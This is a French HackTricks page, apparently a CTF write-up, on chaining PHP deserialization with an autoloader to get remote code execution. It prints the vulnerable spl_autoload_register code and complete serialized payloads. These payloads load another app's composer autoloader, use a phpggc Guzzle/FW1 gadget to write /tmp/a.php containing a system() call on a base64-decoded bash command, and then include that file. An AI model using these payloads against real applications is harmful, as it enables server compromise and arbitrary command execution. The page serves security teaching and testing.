PHP - Deserialization + Autoload Classes

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Tout d'abord, vous devriez vérifier ce que sont les Classes de chargement automatique.

PHP désérialisation + spl_autoload_register + LFI/Gadget

Nous sommes dans une situation où nous avons trouvé une désérialisation PHP dans une application web sans bibliothèque vulnérable aux gadgets à l'intérieur de phpggc. Cependant, dans le même conteneur, il y avait une autre application web composer avec des bibliothèques vulnérables. Par conséquent, l'objectif était de charger le chargeur composer de l'autre application web et de l'exploiter pour charger un gadget qui exploitera cette bibliothèque avec un gadget de l'application web vulnérable à la désérialisation.

Étapes :

  • Vous avez trouvé une désérialisation et il n'y a aucun gadget dans le code de l'application actuelle

  • Vous pouvez abuser d'une fonction spl_autoload_register comme suit pour charger n'importe quel fichier local avec l'extension .php

  • Pour cela, vous utilisez une désérialisation où le nom de la classe va être à l'intérieur de $name. Vous ne pouvez pas utiliser "/" ou "." dans un nom de classe dans un objet sérialisé, mais le code remplace les tirets bas ("_") par des barres obliques ("/"). Ainsi, un nom de classe tel que tmp_passwd sera transformé en /tmp/passwd.php et le code tentera de le charger. Un exemple de gadget serait : O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Si vous avez un téléchargement de fichier et pouvez télécharger un fichier avec une extension .php, vous pourriez abuser directement de cette fonctionnalité et obtenir déjà une RCE.

Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du même conteneur une autre page web du compositeur avec une bibliothèque vulnérable à un gadget phpggc.

  • Pour charger cette autre bibliothèque, vous devez d'abord charger le chargeur compositeur de cette autre application web (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). Connaissant le chemin de l'application, vous pouvez y parvenir très facilement avec : O:28:"www_frontend_vendor_autoload":0:{} (Dans mon cas, le chargeur compositeur était dans /www/frontend/vendor/autoload.php)

  • Maintenant, vous pouvez charger le chargeur compositeur de l'autre application, il est donc temps de générer le payload phpgcc à utiliser. Dans mon cas, j'ai utilisé Guzzle/FW1, ce qui m'a permis de écrire n'importe quel fichier dans le système de fichiers.

  • REMARQUE : Le gadget généré ne fonctionnait pas, pour qu'il fonctionne, j'ai modifié ce payload chain.php de phpggc et j'ai défini tous les attributs des classes de privé à public. Sinon, après la désérialisation de la chaîne, les attributs des objets créés n'avaient aucune valeur.

  • Maintenant, nous avons le moyen de charger le chargeur compositeur de l'autre application et d'avoir un payload phpggc qui fonctionne, mais nous devons faire cela dans la MÊME REQUÊTE pour que le chargeur soit chargé lorsque le gadget est utilisé. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme suit :

  • Vous pouvez voir d'abord le chargeur être chargé puis le payload

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Maintenant, nous pouvons créer et écrire un fichier, cependant, l'utilisateur ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web. Ainsi, comme vous pouvez le voir dans la charge utile, PHP appelle system avec du base64 est créé dans /tmp/a.php. Ensuite, nous pouvons réutiliser le premier type de charge utile que nous avons utilisé comme LFI pour charger le chargeur du compositeur de l'autre application web pour charger le fichier /tmp/a.php généré. Il suffit de l'ajouter au gadget de désérialisation:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Résumé de la charge utile

  • Charger l'autoload du compositeur d'une autre application web dans le même conteneur

  • Charger un gadget phpggc pour abuser d'une bibliothèque de l'autre application web (l'application web initialement vulnérable à la désérialisation ne possédait aucun gadget dans ses bibliothèques)

  • Le gadget va créer un fichier avec une charge utile PHP en /tmp/a.php avec des commandes malveillantes (l'utilisateur de l'application web ne peut pas écrire dans un dossier de n'importe quelle application web)

  • La partie finale de notre charge utile utilisera le chargement du fichier PHP généré qui exécutera des commandes

J'ai dû appeler cette désérialisation deux fois. Dans mes tests, la première fois le fichier /tmp/a.php a été créé mais pas chargé, et la deuxième fois il a été correctement chargé.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour